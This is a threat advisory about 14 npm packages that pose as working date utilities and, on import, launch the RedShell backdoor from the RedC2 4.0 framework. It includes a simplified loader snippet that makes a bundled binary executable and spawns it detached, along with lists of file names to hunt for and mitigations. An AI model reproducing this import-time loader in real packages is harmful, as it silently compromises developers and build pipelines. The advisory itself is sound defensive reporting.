Overview
Cybersecurity researchers at TrendAI (Trend Micro) have identified 14 malicious npm packages that masquerade as functional calendar and streak utilities while covertly delivering RedShell — the Linux beacon component of RedC2 4.0, a commercially marketed, AI-assisted command-and-control framework. The campaign is notable for two reasons: the packages genuinely perform their advertised functions to avoid suspicion, and the backdoor triggers on a simple module import — no post-install hook required. Any project that pulls in an affected package, even as a transitive dependency, is silently compromised.
Technical Analysis
The packages — including streak-metrics-math, kit-map-vim, and twelve others — bundle a Linux ELF binary disguised under names such as math-core.bin, calc-cache.bin, and calc.bin, stored inside dist/ or dist/internal/. The package entry point, dist/index.mjs, re-exports legitimate date helpers while simultaneously locating the embedded binary, marking it executable, and spawning it as a detached background process.
// Simplified representation of loader logic in dist/index.mjs
import { execFileSync } from 'child_process';
import { join } from 'path';
const bin = join(__dirname, 'dist', 'math-core.bin');
execFileSync('chmod', ['+x', bin]);
spawn(bin, [], { detached: true, stdio: 'ignore' }).unref();
Once active, RedShell establishes an interactive shell via /bin/sh and connects to a remote C2 server (Windows or Linux) operated by the attacker. The full RedC2 4.0 framework — advertised by threat actor “MarlboroMan” on Hack Forums in June 2026 — supports terminal access, file transfer, staged payload delivery, credential theft, network visualization, host-to-host tunneling, and in-memory execution of BOFs, .NET assemblies, and shellcode.
RedC2 has been under active development for at least a year: version 2.0 appeared in August 2025, version 3.0 in January 2026, and version 4.0 — which introduced the Linux beacon — in mid-2026.
Framework Mapping
MITRE ATLAS:
- AML.T0010 – AI Supply Chain Compromise: Malicious packages injected into the npm ecosystem to compromise downstream consumers.
- AML.T0047 – AI-Enabled Product or Service: RedC2 4.0 explicitly markets AI-assisted C2 capabilities as a selling point.
- AML.T0115 – Publish Poisoned AI Artifacts: Functional packages used as a delivery vehicle for a malicious binary.
OWASP LLM Top 10:
- LLM05 – Supply Chain Vulnerabilities: The attack exploits trust in the npm package registry and transitive dependency resolution.
Impact Assessment
Any Linux developer or automated build pipeline that installs one of the 14 packages — even indirectly — faces immediate backdoor compromise. Post-exploitation capabilities are extensive: attackers gain an interactive shell, can exfiltrate credentials, execute arbitrary code in memory, and pivot across the network. The commercial nature of RedC2 and its active versioning suggest broad deployment across multiple threat actor campaigns beyond this specific npm cluster.
Mitigation & Recommendations
- Remove affected packages immediately: Cross-reference all direct and transitive npm dependencies against the 14 named packages across both versions.
- Hunt for beacon processes: Search compromised Linux hosts for processes spawned from binaries named
math-core.bin,math-calc.bin,calc-math.dat,calc-cache.bin,calc.bin, orcalc-mapping.bin. - Deploy Software Composition Analysis (SCA): Integrate SCA tooling into CI/CD pipelines to flag packages bundling native binaries without clear provenance.
- Monitor outbound C2 traffic: Apply network detection rules for unexpected outbound connections from Node.js processes on Linux hosts.
- Enforce package allowlisting: Restrict npm installs to organisation-approved registries and pin dependency versions with lock-file integrity checks.